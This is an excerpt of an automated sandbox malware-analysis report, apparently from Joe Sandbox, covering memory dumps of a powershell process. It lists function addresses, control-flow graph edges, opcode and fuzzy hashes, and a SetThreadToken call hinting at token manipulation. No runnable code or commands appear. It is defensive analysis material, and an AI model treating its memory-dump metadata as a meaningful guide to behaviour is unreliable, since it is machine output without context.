                                                            • Instruction Fuzzy Hash: 80124AB1704256CFCB159B68D8116AABBF2AFC5390F1488BBD905CF291DB32DC45C7A2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D17B8 Relevance: 2.8, Strings: 2, Instructions: 339COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 645 77d17b8-77d17da 646 77d1969-77d197e 645->646 647 77d17e0-77d17e5 645->647 655 77d1987-77d19b5 646->655 656 77d1980-77d1985 646->656 648 77d17fd-77d1801 647->648 649 77d17e7-77d17ed 647->649 653 77d1914-77d191e 648->653 654 77d1807-77d180b 648->654 651 77d17ef 649->651 652 77d17f1-77d17fb 649->652 651->648 652->648 657 77d192c-77d1932 653->657 658 77d1920-77d1929 653->658 659 77d180d-77d181e 654->659 660 77d184b 654->660 662 77d19bb-77d19c0 655->662 663 77d1b04-77d1b25 655->663 656->655 665 77d1938-77d1944 657->665 666 77d1934-77d1936 657->666 659->646 674 77d1824-77d1829 659->674 661 77d184d-77d184f 660->661 661->653 668 77d1855-77d1859 661->668 669 77d19d8-77d19dc 662->669 670 77d19c2-77d19c8 662->670 680 77d1b68-77d1b79 663->680 681 77d1b27-77d1b34 663->681 671 77d1946-77d1966 665->671 666->671 668->653 677 77d185f-77d1863 668->677 675 77d1ab4-77d1abe 669->675 676 77d19e2-77d19e4 669->676 678 77d19cc-77d19d6 670->678 679 77d19ca 670->679 682 77d182b-77d1831 674->682 683 77d1841-77d1849 674->683 687 77d1acc-77d1ad2 675->687 688 77d1ac0-77d1ac9 675->688 684 77d19f4 676->684 685 77d19e6-77d19f2 676->685 689 77d1865-77d186e 677->689 690 77d1886 677->690 678->669 679->669 692 77d1b44 681->692 693 77d1b36-77d1b42 681->693 694 77d1835-77d183f 682->694 695 77d1833 682->695 683->661 696 77d19f6-77d19f8 684->696 685->696 698 77d1ad8-77d1ae4 687->698 699 77d1ad4-77d1ad6 687->699 700 77d1875-77d1882 689->700 701 77d1870-77d1873 689->701 697 77d1889-77d1911 690->697 702 77d1b46-77d1b48 692->702 693->702 694->683 695->683 696->675 704 77d19fe-77d1a16 696->704 705 77d1ae6-77d1b01 698->705 699->705 706 77d1884 700->706 701->706 708 77d1b7c-77d1b86 702->708 709 77d1b4a-77d1b50 702->709 720 77d1a18-77d1a1e 704->720 721 77d1a30-77d1a34 704->721 706->697 717 77d1b88-77d1b8d 708->717 718 77d1b90-77d1b96 708->718 713 77d1b5e 709->713 714 77d1b52-77d1b54 709->714 713->680 714->713 722 77d1b9c-77d1ba8 718->722 723 77d1b98-77d1b9a 718->723 726 77d1a20 720->726 727 77d1a22-77d1a2e 720->727 729 77d1a3a-77d1a41 721->729 724 77d1baa-77d1bc1 722->724 723->724 726->721 727->721 731 77d1a48-77d1aa5 729->731 732 77d1a43-77d1a46 729->732 735 77d1aaa-77d1ab1 731->735 732->735
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: _l$_l
                                                            • API String ID: 0-638597642
                                                            • Opcode ID: 6c29cc79d59b8dd2e8478fba41be66d5f69905ee097b0e5e7e38786bfa116fdb
                                                            • Instruction ID: 5fe51105f13e386faaf1e766a72bad43b755276b9b9af4c66481b8e1330cbe59
                                                            • Opcode Fuzzy Hash: 6c29cc79d59b8dd2e8478fba41be66d5f69905ee097b0e5e7e38786bfa116fdb
                                                            • Instruction Fuzzy Hash: 7EB136B1B0424A9FCB14CF69D4006BABBF2AFC6260F59C4BBD505CB252DA31DC45C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 08946421 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 744 8946421-8946463 745 894646b-8946497 SetThreadToken 744->745 746 89464a0-89464bd 745->746 747 8946499-894649f 745->747 747->746
                                                            APIs
                                                            • SetThreadToken.KERNELBASE(EFD8083F), ref: 0894648A
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2265940959.0000000008940000.00000040.00000800.00020000.00000000.sdmp, Offset: 08940000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_8940000_powershell.jbxd
                                                            Similarity
                                                            • API ID: ThreadToken
                                                            • String ID:
                                                            • API String ID: 3254676861-0
                                                            • Opcode ID: 6758be946fca917882ac4453a20d53869af0cc3d34a26f0da1ecc49ffd342655
                                                            • Instruction ID: 6ec5cbad03aaadc57571d1f00ddb9e316937130ba5f57e861c10afcde7290c93
                                                            • Opcode Fuzzy Hash: 6758be946fca917882ac4453a20d53869af0cc3d34a26f0da1ecc49ffd342655
                                                            • Instruction Fuzzy Hash: 2C1125B59002488FDB20DF9AC584BDEFFF8AF88324F248419E459A7310C7B5A944CFA4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 08946428 Relevance: 1.5, APIs: 1, Instructions: 48threadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 750 8946428-8946497 SetThreadToken 752 89464a0-89464bd 750->752 753 8946499-894649f 750->753 753->752
                                                            APIs
                                                            • SetThreadToken.KERNELBASE(EFD8083F), ref: 0894648A
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2265940959.0000000008940000.00000040.00000800.00020000.00000000.sdmp, Offset: 08940000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_8940000_powershell.jbxd
                                                            Similarity
                                                            • API ID: ThreadToken
                                                            • String ID:
                                                            • API String ID: 3254676861-0
                                                            • Opcode ID: ff8ad0d312cd5a91e8462e4225bf765a4ec2af3c0c243646351a2051c32be69f
                                                            • Instruction ID: 451700255467fa8335e4b0289631e685da1f4b60b2986166ca067f8ca18aa544
                                                            • Opcode Fuzzy Hash: ff8ad0d312cd5a91e8462e4225bf765a4ec2af3c0c243646351a2051c32be69f
                                                            • Instruction Fuzzy Hash: D211F5B59002088FDB10DF9AC584B9EFBF8EB49324F248419D458A7210D775A944CFA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03106FC8 Relevance: 1.4, Strings: 1, Instructions: 114COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 756 3106fc8-3106fe7 757 31070ed-310712b 756->757 758 3106fed-3106ff0 756->758 785 3106ff2 call 3107664 758->785 786 3106ff2 call 310767f 758->786 759 3106ff8-310700a 761 3107016-310702b 759->761 762 310700c 759->762 768 3107031-3107041 761->768 769 31070b6-31070cf 761->769 762->761 770 3107043 768->770 771 310704d-310705b call 310bf10 768->771 773 31070d1 769->773 774 31070da-31070db 769->774 770->771 778 3107061-3107065 771->778 773->774 774->757 779 31070a5-31070b0 778->779 780 3107067-3107077 778->780 779->768 779->769 781 3107093-310709d 780->781 782 3107079-3107091 780->782 781->779 782->779 785->759 786->759
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: (bq
                                                            • API String ID: 0-149360118
                                                            • Opcode ID: 06147b5009694f689d8075ac7af7aee2f9b6cbe3887489dacb717081643b21cd
                                                            • Instruction ID: 71ca9fd0742c0432c126f323ed0a60b4c11978e296f93384b0df66d6b3df99c3
                                                            • Opcode Fuzzy Hash: 06147b5009694f689d8075ac7af7aee2f9b6cbe3887489dacb717081643b21cd
                                                            • Instruction Fuzzy Hash: D3413C34B042048FDB04DF64C558AAEBBF2EF8E311F1945A9E406AB395DB75EC41CB60
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310AF98 Relevance: 1.3, Strings: 1, Instructions: 81COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 788 310af98-310afa1 call 310a984 790 310afa6-310afaa 788->790 791 310afba-310b055 790->791 792 310afac-310afb9 790->792 798 310b057-310b05d 791->798 799 310b05e-310b07b 791->799 798->799
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: (&^q
                                                            • API String ID: 0-2067289071
                                                            • Opcode ID: ad095428e8b0368e85790db7922b37d5322cf7a3d55ef62071d8e7670776128a
                                                            • Instruction ID: 6f955b5bd0f8a18d6586ea1e839c3f8892678131ad58cb6df53890206d10e029
                                                            • Opcode Fuzzy Hash: ad095428e8b0368e85790db7922b37d5322cf7a3d55ef62071d8e7670776128a
                                                            • Instruction Fuzzy Hash: D921DE71A042588FCB14DFAED404AAEBFF5EF88320F24846AD008A7340CBB59805CFE5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031029F0 Relevance: .2, Instructions: 209COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1196 31029f0-3102a1e 1197 3102a24-3102a3a 1196->1197 1198 3102af5-3102b37 1196->1198 1199 3102a3c 1197->1199 1200 3102a3f-3102a52 1197->1200 1203 3102c51-3102c61 1198->1203 1204 3102b3d-3102b56 1198->1204 1199->1200 1200->1198 1208 3102a58-3102a65 1200->1208 1206 3102b58 1204->1206 1207 3102b5b-3102b69 1204->1207 1206->1207 1207->1203 1213 3102b6f-3102b79 1207->1213 1210 3102a67 1208->1210 1211 3102a6a-3102a7c 1208->1211 1210->1211 1211->1198 1218 3102a7e-3102a88 1211->1218 1214 3102b87-3102b94 1213->1214 1215 3102b7b-3102b7d 1213->1215 1214->1203 1217 3102b9a-3102baa 1214->1217 1215->1214 1219 3102bac 1217->1219 1220 3102baf-3102bbd 1217->1220 1221 3102a96-3102aa6 1218->1221 1222 3102a8a-3102a8c 1218->1222 1219->1220 1220->1203 1227 3102bc3-3102bd3 1220->1227 1221->1198 1223 3102aa8-3102ab2 1221->1223 1222->1221 1224 3102ac0-3102af4 1223->1224 1225 3102ab4-3102ab6 1223->1225 1225->1224 1229 3102bd5 1227->1229 1230 3102bd8-3102be5 1227->1230 1229->1230 1230->1203 1233 3102be7-3102bf7 1230->1233 1234 3102bf9 1233->1234 1235 3102bfc-3102c08 1233->1235 1234->1235 1235->1203 1237 3102c0a-3102c24 1235->1237 1238 3102c26 1237->1238 1239 3102c29 1237->1239 1238->1239 1240 3102c2e-3102c38 1239->1240 1241 3102c3d-3102c50 1240->1241
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7d9b34abb252f760ca36dfc05303d8ebda7c1d61c47e0b49cc75b6b45802d953
                                                            • Instruction ID: 8bc861e0690b372905b83ba70c6e827dcf7dcbeffd84bdbdf7391978e3792c4e
                                                            • Opcode Fuzzy Hash: 7d9b34abb252f760ca36dfc05303d8ebda7c1d61c47e0b49cc75b6b45802d953
                                                            • Instruction Fuzzy Hash: 19916C70A00245CFCB15CF59C5989AEFBB1FF48310B288999D815AB3A5C736FC52CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310BAC0 Relevance: .2, Instructions: 155COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 1c665f74f2cad532d2691fd7c3626cbcb2a954245590f6c5233c98e0ba61e828
                                                            • Instruction ID: 4afb0c9d188fd1e9c5f1fa3180cb1f9e0403d4769a27da77d7ed6f3d7fe24b3d
                                                            • Opcode Fuzzy Hash: 1c665f74f2cad532d2691fd7c3626cbcb2a954245590f6c5233c98e0ba61e828
                                                            • Instruction Fuzzy Hash: 9361F871E01248DFCB14DFA9D584A9DFBF5EF88310F198169E809AB3A4EB749C85CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03107728 Relevance: .2, Instructions: 154COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ca917df9f2d4bb57ef6b6487a830ed07b769bf6d2efe99a8b1eba744c73caa52
                                                            • Instruction ID: f2b11ab8cf9083d737d103cb8830ab0084db85e3c6124fcf5ec8b37ac67e89a3
                                                            • Opcode Fuzzy Hash: ca917df9f2d4bb57ef6b6487a830ed07b769bf6d2efe99a8b1eba744c73caa52
                                                            • Instruction Fuzzy Hash: 835193357002059FD714DB69D888A3AB7EAFFC8354B1984A9E509CB3D1EB75EC01CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310BAB0 Relevance: .2, Instructions: 150COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c9d798cf7189d465de16f4bbb1a374f7f66ff2bfaed26e8e6eb95cd4c6751adf
                                                            • Instruction ID: 2f034711d0204002a04812d43bbd0971009297bff1d9ab4e57cad232d86a0fb5
                                                            • Opcode Fuzzy Hash: c9d798cf7189d465de16f4bbb1a374f7f66ff2bfaed26e8e6eb95cd4c6751adf
                                                            • Instruction Fuzzy Hash: C1511771E01248CFCB14DFA9D584A9DFBF5EF88310F198069E809AB3A5EB749845CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03106FA0 Relevance: .1, Instructions: 127COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: dbf17feef6754fda6ad158662028bf03a6a85be527f3b5afb6635d8625a67093
                                                            • Instruction ID: 35d3e95151fa8a26badd617f4215eb1ea030ae6da4dee1ec86e5492778c25694
                                                            • Opcode Fuzzy Hash: dbf17feef6754fda6ad158662028bf03a6a85be527f3b5afb6635d8625a67093
                                                            • Instruction Fuzzy Hash: 56418334A042449FCB05CB64CA54AADBFF1AF8E300F1981D9E445AB3D6DB76DC41CB51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D3CCC Relevance: .1, Instructions: 124COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c381b0dd6e972489c38342510e75e37ef9c27aec8baf38b61c9c9998bca2845d
                                                            • Instruction ID: ba2eae7883110519a2fd35074367d0a3e67d63a6d30288bb4e574e41ab4f7852
                                                            • Opcode Fuzzy Hash: c381b0dd6e972489c38342510e75e37ef9c27aec8baf38b61c9c9998bca2845d
                                                            • Instruction Fuzzy Hash: B44129F1A00202DFDB219F24C551AB6BBF2AF85390F1888AAD904CF395D735DC45CBA2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03102B00 Relevance: .1, Instructions: 108COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5b39a544c4009e7e53849b3997a8a3e3c907e88483d6f2019a93304e8ce168e1
                                                            • Instruction ID: 33917ca1995b0ac692788dbd1857f389d83594f8e8edd8be334ba9fb29411902
                                                            • Opcode Fuzzy Hash: 5b39a544c4009e7e53849b3997a8a3e3c907e88483d6f2019a93304e8ce168e1
                                                            • Instruction Fuzzy Hash: 5E413AB4A005059FCB05CF58C598AAEFBB1FF48310B158599D855AB3A4C776FC92CFA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310C388 Relevance: .1, Instructions: 101COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2d441b775d8af541ab760bd61f1f942a3c5d87fcd3a3a69116ddd28c78a28341
                                                            • Instruction ID: 19f8c29591de5dc27e71658ef18e7f64b8f8b41d56d3e7559754dee6aa4cb82f
                                                            • Opcode Fuzzy Hash: 2d441b775d8af541ab760bd61f1f942a3c5d87fcd3a3a69116ddd28c78a28341
                                                            • Instruction Fuzzy Hash: E4315E353006019FC715DB78E854B6AB796EFC8315F048279E60ACF3A5DBB1A845CBE1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310AE60 Relevance: .1, Instructions: 89COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: dc0df239bbbaaa4a36fd5f9a755e1aeff575dd271e10a9c6b404009c9f48a10d
                                                            • Instruction ID: 6552868090fbc88e71e091542158e60228b7173fe97bada1a968874716635d34
                                                            • Opcode Fuzzy Hash: dc0df239bbbaaa4a36fd5f9a755e1aeff575dd271e10a9c6b404009c9f48a10d
                                                            • Instruction Fuzzy Hash: 39316C74E002098FCB14DB79C4946AEBBF6AFCD310F148069E405EB794EB748C418B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310AE70 Relevance: .1, Instructions: 84COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 704d333f29bbf5bde4150bda7a06f8ec75eb4c8fda2553254343bfca67afb9cd
                                                            • Instruction ID: 58c0ff0f5889a0d15e5556ab6a73c0830269e388102c852784284cf7fab61881
                                                            • Opcode Fuzzy Hash: 704d333f29bbf5bde4150bda7a06f8ec75eb4c8fda2553254343bfca67afb9cd
                                                            • Instruction Fuzzy Hash: B5314974E006098FDB14DFA9D5947AEBAFAAFCD310F148069E405EB394EB748C418BA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310AD28 Relevance: .1, Instructions: 84COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7472612d159c129470abbaac3f033700838eead414650cc21094b81f78821e01
                                                            • Instruction ID: ce77fb5fbf82ced0a4e538993b6e6b1d3df3d0e6a167ce3b057b5ca73f62ac16
                                                            • Opcode Fuzzy Hash: 7472612d159c129470abbaac3f033700838eead414650cc21094b81f78821e01
                                                            • Instruction Fuzzy Hash: 993192B4E002499FDB01DBB4D858ABEBBB2EF84300F1184A9C245AB3A5CB799D01CF51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310E049 Relevance: .1, Instructions: 81COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: beb589e7a572898dc1af59ccae1c970cd32f8085b90cc69b472649ab2ba4a216
                                                            • Instruction ID: 857dddbf6e5dd5144da20248492d2f5f5296e5b9a329ff42d6ab1839d8ea9e5b
                                                            • Opcode Fuzzy Hash: beb589e7a572898dc1af59ccae1c970cd32f8085b90cc69b472649ab2ba4a216
                                                            • Instruction Fuzzy Hash: 28314974A006048FCB18DF69D498AAEFBF2EF8C715F044569D406EB3A5DB749C81CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310E058 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c07508ac488f71e857b6c6dbd1ca5212f5e60479d6438a2677e0b1a4df319b6e
                                                            • Instruction ID: 73bfbc28621cc12ae1deb47d9f198db3769a0305fb104df5d646591c1ef8e0f8
                                                            • Opcode Fuzzy Hash: c07508ac488f71e857b6c6dbd1ca5212f5e60479d6438a2677e0b1a4df319b6e
                                                            • Instruction Fuzzy Hash: 4E313A71A002048FCB14DF69D498AAEFBF2EF8C714F044569D406EB394DB749C81CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310AD38 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5cb3569f56baf5f7fdfe0093b015054e8bba5c97888eb52cbf9930a75eb67763
                                                            • Instruction ID: a157c0b6aef080e2c0c932e6b361fea1107dd37cde849fef64a90ee137dfe869
                                                            • Opcode Fuzzy Hash: 5cb3569f56baf5f7fdfe0093b015054e8bba5c97888eb52cbf9930a75eb67763
                                                            • Instruction Fuzzy Hash: EE3141B4E002099FDB05EFA4D958ABEB7B7EFC8300F1184A8D215AB394DB759D018F91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FEF3D8 Relevance: .1, Instructions: 76COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4b174a62e64c50b4b454b8094c0430b94c702ef08a3f01a2177c166b0a78e248
                                                            • Instruction ID: 7ce31014c8c5dae495017422feed59963151eb5bee58f389a19220614ebe513b
                                                            • Opcode Fuzzy Hash: 4b174a62e64c50b4b454b8094c0430b94c702ef08a3f01a2177c166b0a78e248
                                                            • Instruction Fuzzy Hash: F621F772600200DFDF06DF54DAC0B16BF65FF88314F24C6A9EA0A4A656C336D456CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031093F0 Relevance: .1, Instructions: 74COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cea1e35acb0f8dfc82b07a4a4ba6e5da7d6cabffdeb62b2dfc980e7932fd1742
                                                            • Instruction ID: 39a86b0b68cf04c59baf2ad5025217f1f2e53422c47ff09f436e54fabf5eb6b4
                                                            • Opcode Fuzzy Hash: cea1e35acb0f8dfc82b07a4a4ba6e5da7d6cabffdeb62b2dfc980e7932fd1742
                                                            • Instruction Fuzzy Hash: 9A317A709057848FDB60CF6AC18838AFFF6EF89324F28846ED44D9B296C7B45481CB51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FEF02C Relevance: .1, Instructions: 72COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d0f7674162885597a085aeb0ac37f4d409afe7786dd94084b5a6af3c22ce5c75
                                                            • Instruction ID: c708237f4efa3d5160d2aa161b9c58ccb75f54a0462fa09583044a6a2762b42b
                                                            • Opcode Fuzzy Hash: d0f7674162885597a085aeb0ac37f4d409afe7786dd94084b5a6af3c22ce5c75
                                                            • Instruction Fuzzy Hash: C4213472604200DFDF12DF24D9C0B26BFA5EB94724F24C66DDB0B4B656C33AD846CA61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310DC88 Relevance: .1, Instructions: 70COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9a44cb41032c7b5cfe2df749885d95a0616d2fb6ec9f33097c652bd7329bea6c
                                                            • Instruction ID: ae5bb394947219753414e02124081aa23fb55b7071472370afca6d6f467bf4b5
                                                            • Opcode Fuzzy Hash: 9a44cb41032c7b5cfe2df749885d95a0616d2fb6ec9f33097c652bd7329bea6c
                                                            • Instruction Fuzzy Hash: 4F21C3342097D04FC726DB7994504AA7FF29FC621531885AED085CB692CBB5D806CB61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FEF4CC Relevance: .1, Instructions: 69COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 939e620a607da55dee6f3f4e6528fefd8f7822ee61ad868c3586937a7c74c34e
                                                            • Instruction ID: 2fe4f03852686ab0f400b49ee15ad69187295edb2bab4a57111ac1ddd3c83eb8
                                                            • Opcode Fuzzy Hash: 939e620a607da55dee6f3f4e6528fefd8f7822ee61ad868c3586937a7c74c34e
                                                            • Instruction Fuzzy Hash: 992123B1A043409FDB26DF18D6C4B26BBA5EB94358F20C67DDA0A4B741C33AD446CA61
                                                            Uniqueness

